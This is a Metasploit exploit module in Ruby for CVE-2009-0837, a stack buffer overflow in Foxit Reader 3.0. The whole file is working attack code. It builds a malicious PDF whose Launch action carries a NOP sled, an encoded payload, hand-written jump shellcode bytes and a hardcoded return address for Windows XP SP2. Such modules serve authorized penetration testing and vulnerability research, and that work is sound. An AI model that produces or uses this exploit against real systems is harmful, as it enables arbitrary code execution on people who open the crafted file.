Foxit Reader 3.0 Open Execute Action Stack Based Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'zlib'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Foxit Reader 3.0 Open Execute Action Stack Based Buffer Overflow',
        'Description' => %q{
          This module exploits a buffer overflow in Foxit Reader 3.0 builds 1301 and earlier.
          Due to the way Foxit Reader handles the input from an "Launch" action, it is possible
          to cause a stack-based buffer overflow, allowing an attacker to gain arbitrary code
          execution under the context of the user.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Francisco Falcon', # Discovery
          'bannedit' # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2009-0837' ],
          [ 'OSVDB', '55614' ],
          [ 'BID', '34035'],
          [ 'URL', 'http://www.coresecurity.com/content/foxit-reader-vulnerabilities']
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => true
        },
        'Payload' => {
          'Space' => 1024,
          'BadChars' => "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x22\x28\x29\x2F\x5c\x3c\x3e\x5e\x7e"
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Foxit Reader 3.0 Windows XP SP2', { 'Ret' => 0x74d34d3f } ], # ebp + offset
        ],
        'DisclosureDate' => '2009-03-09',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([
      OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
    ])
  end

  def exploit
    pdf = make_pdf
    file_create(pdf)
    handler
  end

  def make_pdf
    action = "\n<</Type/Action/S/Launch/F<</F(/C/" # Open Execute Action
    action << make_nops(321 - 5)                   # make_nops(21)
    action << payload.encoded
    action << "\xe9\xe8\xfb\xff\xff"               # Jmp back to the NOPs before the payload
    action << "\xeb\xf9" + make_nops(2)            # Jmp to the near jump
    action << [target.ret].pack('V')
    action << "\x92" * 16
    action << ")>>/NewWindow true>>"

    pdf = "%PDF-1.4\n"
    pdf << "1 0 obj\n"
    pdf << "<</Type/Page/Parent 4 0 R /Resources 6 0 R /MediaBox[ 0 0 000 000]"
    pdf << "/Group<</S/Transparency/CS/DeviceRGB/I true>>/Contents 2 0 R "
    pdf << "/Annots[ 24 0 R  25 0 R  9 0 R ]>>\n"
    pdf << "endobj\n"
    pdf << "4 0 obj\n"
    pdf << "<</Type/Pages/Resources 6 0 R /MediaBox[ 0 0 000 000]/Kids[ 1 0 R ]/Count 1>>\n"
    pdf << "endobj\n"
    pdf << "7 0 obj\n"
    pdf << "<</Type/Catalog/Pages 4 0 R /OpenAction[ 1 0 R /XYZ null null 0]/Lang(en-US)/Names 28 0 R >>\n"
    pdf << "endobj\n"
    pdf << "9 0 obj\n"
    pdf << "<</Type/Annot/Subtype/Screen/P 1 0 R /M(E:000000000000000-00'00')/F 4/Rect[ "
    pdf << "000.000 000.000 000.000 000.000]/BS<</S/S/W 1>>/BE<</S/S>>/MK<</BC[ 0 0 1]"
    pdf << "/R 0/IF<</SW/A/S/A/FB false/A[ 0.5 0.5]>>>>/AP<</N 10 0 R >>/T()/A 12 0 R /AA 17 0 R >>\n"
    pdf << "endobj\n"
    pdf << "16 0 obj\n"
    pdf << action
    pdf << "endobj\n"
    pdf << "17 0 obj\n"
    pdf << "<</PV 16 0 R >>\n"
    pdf << "endobj\n"
    pdf << "trailer\n"
    pdf << "<</Root 7 0 R /Info 8 0 R /ID[<00000000000000000000000000000000><00000000000000000000000000000000>]"
    pdf << "/DocChecksum/00000000000000000000000000000000/Size 31>>\n"
    pdf << "startxref\n"
    pdf << "0000\n"
    pdf << "%%EOF\n"
    pdf
  end
end